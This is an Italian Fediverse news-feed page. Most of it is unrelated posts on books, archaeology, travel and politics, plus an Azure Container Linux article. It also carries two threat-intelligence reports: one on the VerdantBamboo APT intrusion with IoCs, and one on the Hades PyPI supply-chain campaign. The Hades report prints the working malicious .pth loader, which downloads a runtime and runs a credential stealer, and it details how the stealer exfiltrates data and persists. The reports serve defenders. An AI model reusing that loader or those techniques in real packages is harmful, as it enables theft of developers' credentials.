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VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


@Informatica (Italy e non Italy)
Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

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Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


@Informatica (Italy e non Italy)
Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


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Perché esiste la vita? La risposta nel nuovo libro del Nobel László Krasznahorkai, tra farfalle e divagazioni
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Dopo la vittoria del Premio Nobel per la Letteratura, László Krasznahorkai torna con un romanzo sulla vita, la natura e l'amicizia. "La sicurezza della nazione ungherese" è un romanzo fluviale, rizomatico, in cui realtà e finzione si confondono, e i due protagonisti - un entomologo e uno
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Il terreno frastagliato di Utopia Planitia

#marte @astronomia@feddit.it @astronomia@diggita.com

questa immagine si trova in una regione caratterizzata da numerose depressioni frastagliate. La loro formazione è legata allo sviluppo di depressioni di forma ovale o frastagliata che possono fondersi tra loro, dando origine a vaste aree di terreno butterato. Le cavità frastagliate presentano una scarpata ripida rivolta verso il polo e un pendio più dolce rivolto verso l'equatore.

umbertogaetani.substack.com/p/…

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Microsoft WSL 2 velocizza la gestione file tra Windows e Linux

@GNU/Linux Italia

linuxeasy.org/microsoft-wsl-2-…

Microsoft migliora WSL 2 con ottimizzazioni a virtiofs e SWIOTLB, riducendo la latenza nell’accesso ai file condivisi tra Windows e Linux.
L'articolo Microsoft WSL 2 velocizza la gestione file tra Windows e Linux proviene da

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Fori misteriosi di oltre 2000 anni fa. Arrivano gli archeologi. A cosa servivano migliaia di fosse tonde scavate per chilometri? Dove sono queste fasce di fori? Le nuove prove sul terreno. La risposta degli esperti

@culture

Tra i fenomeni più enigmatici dell’archeologia europea dell’Età del Ferro vi sono le cosiddette cinture cave danesi, lunghe fasce di terreno disseminate da migliaia

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#diariocroazia - 1 🇭🇷

Neanche sono partito, e già mi hanno appioppato la Santità come a #padremaronno.

Bologna è l'aeroporto di sempre, ma visto il decollo mattiniero alle 7:15, relativamente vuoto. Così ci piace.

2 anni fa ero stato veramente bene in Croazia, tanto che per la ricerca di un posto in cui vivere meglio ci avevo pensato seriamente, e un paio di isole sono rimaste nella lista dei posti papabili.

Ho aspettative altrettanto alte stavolta, ma chissà.

Vedremo. 🤞🏻

@Viaggi

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Strage di Amendolara: facciamo tutti la nostra parte


@Giornalismo e disordine informativo
articolo21.org/2026/06/strage-…
In Italia l’economia illegale viene stimata in 77 miliardi di euro, di cui più della metà nell’agricoltura. In quelle cifre sono compresi persone, lavoratori, come i tre cittadini afgani e un pachistano, di nome

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Ingredienti e consigli per preparare una squisita mortadella di pollo


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La creatività è presente anche nelle cose semplici, perché creare si tratta anche di trasformarsi, e in cucina penso che si tratti di dare ad un ingrediente diverse presentazioni, così il petto di pollo può essere trasformato in una ricca mortadella con cui si può preparare, ad esempio, un panino consistente.

#pollo #mortadella #mastodon #friendica #fediverso
@Cucina e ricette

lacucinadisusana.blogspot.com/…

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Italia 2026 tra post-verità e diffamazione: si può invertire la rotta?


@Giornalismo e disordine informativo
articolo21.org/2026/06/italia-…
Non tutti ci cascano, non tutti sono privati di senso critico. Eppure, il momento storico in cui siamo immersi, dagli addetti ai lavori definito della

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Nucleare e militare


@Giornalismo e disordine informativo
articolo21.org/2026/06/nuclear…
Con soli 550.000,00 euro si potrà acquistare la prima Ferrari elettrica. Per far raggiungere le prestazioni consone al marchio è scontato un consumo energetico enorme, che cresce grazie al peso delle batterie. Questo è il caso più emblematico per commentare le scelte pseudo ambientaliste dell’UE. Quando tutti

in reply to Antonella Ferrari

@Antonella Ferrari Sinceramente non capisco perché nell’articolo si prende ad esempio la Ferrari elettrica,tutte le altre,cioè il 99% hanno consumi che vanno dai bassi a medi a seconda dei cavalli.Vado in elettrico da qualche anno,si spende 1/3 delle auto termiche e non servirà di certo il nucleare per alimentarle,ma questa è politica
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Viaggiatori, si ri-parte per la #croazia! 🇭🇷

Come al solito cercherò di raccontarvi il più possibile del #viaggio con dei toot (almeno uno al giorno), corredati da una o più #foto delle cose più significative della giornata.

Se l'idea vi piace e siete curiosi, seguite il mio profilo e/o il tag #diariocroazia.

Vi do appuntamento a domani; la partenza è alle 4:00 del mattino da casa 🤐😒

@Viaggi

#simoneviaggiatore #ontheroad #diariodiviaggio

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EOLE - Evento europeo sul diritto all'open source e al software libero

EOLE è un evento internazionale che mira a incoraggiare la condivisione e la diffusione delle conoscenze giuridiche relative alle licenze aperte, nonché lo sviluppo e la promozione di buone pratiche.

eolevent.eu/eole-2026/

@eticadigitale

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Ardour 9.7 migliora l’editing MIDI e semplifica il lavoro in studio

@GNU/Linux Italia

linuxeasy.org/ardour-9-7-migli…

Ardour 9.7 migliora l'editing MIDI con nuovi strumenti integrati, vista verticale dell'editor e numerose correzioni per Linux e audio professionale.
L'articolo Ardour 9.7 migliora l’editing MIDI e semplifica il lavoro in studio proviene da Linux Easy.
E' vietato

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La grande redistribuzione: il piano globale per smantellare la plutocrazia e fermare il collasso climatico. Lavorando (molto) meno e tassando i ricchi

Il Global Justice Report degli economisti del World Inequality Lab, tra cui Thomas Piketty, propone una radicale trasformazione dell’ordine economico mondiale di qui al 2100 per evitare la catastrofe ambientale. Il reddito medio mensile di tutti gli Stati convergerebbe a 5mila euro

ilfattoquotidiano.it/2026/06/0…

@politica

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È arrivato il momento di dire grazie a Lea Melandri: la campagna per assegnarle un vitalizio sulla base della legge Bacchelli
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"Lea Melandri ha dedicato la sua vita al movimento femminista, alla giustizia sociale, alla liberazione di donne e di uomini. Lo ha fatto con il suo attivismo, con il suo pensiero, con la sua scrittura...": i particolari sulla raccolta di firme per sostenere l'assegnazione del contributo
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Ubuntu 26.10 Stonking Stingray prepara il terreno per Ubuntu 28.04 LTS

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E'

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Il nuovo corso della storica libreria Tarantola di Belluno, aperta nel 1917
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Aperta nel 1917 da una storica famiglia di librai attiva nel settore fin dal Settecento, e portata avanti nella città ai piedi delle Dolomiti da tre diverse generazioni, la libreria Tarantola di Belluno è entrata a far parte del circuito Ubik: “Siamo venuti incontro alle esigenze dei più giovani migliorando la nostra
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Romance: in libreria (e in tv) il successo della Campus Series di Elle Kennedy
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Ben tre libri in contemporanea nella top ten dei libri più venduti: la "Campus Series" di Elle Kennedy è tornata protagonista in classifica, spinta dal successo della serie su Prime, e a conferma del costante interesse per il genere romance in libreria. "Passione, sport, college e romanticismo sono gli ingredienti" che
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E noi i comuni mortali? In Italia stiamo a guardare l'ennesima bufala e lo svuotamento di ogni nostra volontà: due referendum in Italia hanno bandito il nucleare con una maggioranza bulgara (2011 il 94,05% dei votanti, 1987 percentuali intorno all'80% dei votanti).
Eppure ci riprovano.v

Il nucleare diventa il terminale di destinazione del risparmio globale. Per far reggere la bolla altreconomia.it/il-nucleare-di…

#nuclearefagola #nucleareitalia #nuclearenograzie

@news

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Le tracce di un pianeta perduto del Sistema solare nelle rocce di un meteorite piene di alluminio

@scienza

blitzquotidiano.it/scienza-e-t…

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Da Garlasco a Netflix, come il true crime è diventato un’industria. I dati di Giordano


L'articolo è pubblicato da #Formiche
cc @culture
formiche.net/2026/06/garlasco-…
È da diversi anni che l’interesse digitale per il true crime ha frantumato la nicchia nella quale per molto tempo è stato relegato – in parte, anche volontariamente per non

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Romanzo psicologico: caratteristiche, origini e libri da leggere
@libri
illibraio.it/news/narrativa/ro…
Tra l'800 e il '900, il romanzo psicologico ha affascinato lettrici e lettori di tutto il mondo con i suoi affondi introspettivi ed esistenziali. Ma com'è nato questo genere letterario? Quali sono i suoi tratti distintivi, e grazie a quali testi si è imposto nel panorama letterario internazionale? - Un percorso pensato per (ri)scoprirne le
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Damask la piattaforma open per gestire asset digitali in locale

@GNU/Linux Italia

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Damask è una piattaforma DAM open source self-hosted per gestire immagini, video e documenti con automazione, OCR e integrazioni AI.
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Rileggere “Persepolis”, ora che Marjane Satrapi è stata portata via dalla tristezza
@libri
illibraio.it/news/dautore/marj…
Dopo la morte di Marjane Satrapi, a soli 56 anni, la sua opera a fumetti più celebre, "Persepolis", torna a parlarci con una forza nuova: non solo come memoir sull’Iran della Rivoluzione islamica, ma come libro sull’adolescenza, sull’esilio, sul corpo femminile, sulla libertà e sui pregiudizi dell’Occidente
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Starmer accelera sulla difesa britannica davanti alla minaccia russa

@Notizie dall'Italia e dal mondo

Keir Starmer ha annunciato che la nuova pubblicazione del Defence Investment Plan britannico precederà il vertice Nato del 7 luglio. Lo ha fatto durante una visita a Stark, azienda di tecnologie per la difesa a Swindon, legando il dossier della produzione industriale e militare a

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Da Circe al grande Gatsby: 10 personaggi della letteratura che hanno fatto la storia
@libri
illibraio.it/news/narrativa/pe…
Dall'antica Grecia agli anni della secessione americana, passando per la Francia medievale, la Spagna del Siglo de Oro, la Milano degli untori e la Russia zarista, fino ad arrivare alla Svezia del secondo dopoguerra, la letteratura di ogni tempo ha saputo dare vita a personaggi così tridimensionali da diventare un
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Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes
#tech
spcnet.it/azure-container-linu…
@informatica


Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes


A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?


Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar


ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)


Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade


Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft


Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS


ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking


Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

  • Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
  • Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
  • Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.


Conclusione


Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026


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IL SUV AL CONTRARIO

@news
La manovra pubblicitaria è riuscita meglio di quella stradale.
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#EDITORIALI

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Che profumo avevano le aristocratiche romane? Trovata ora una tomba di 2000 anni fa con unguentari e vasellame. Come possiamo sentire quelle essenze? Seguiteci nell’articolo e avvertirete le fragranze

@culture

Una sepoltura romana di alto rango, risalente ai decenni iniziali della presenza imperiale in Britannia, è stata scoperta durante una recente valutazione archeologica condotta da

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GNOME 50.2 migliora screencast, Wayland e gestione dei file

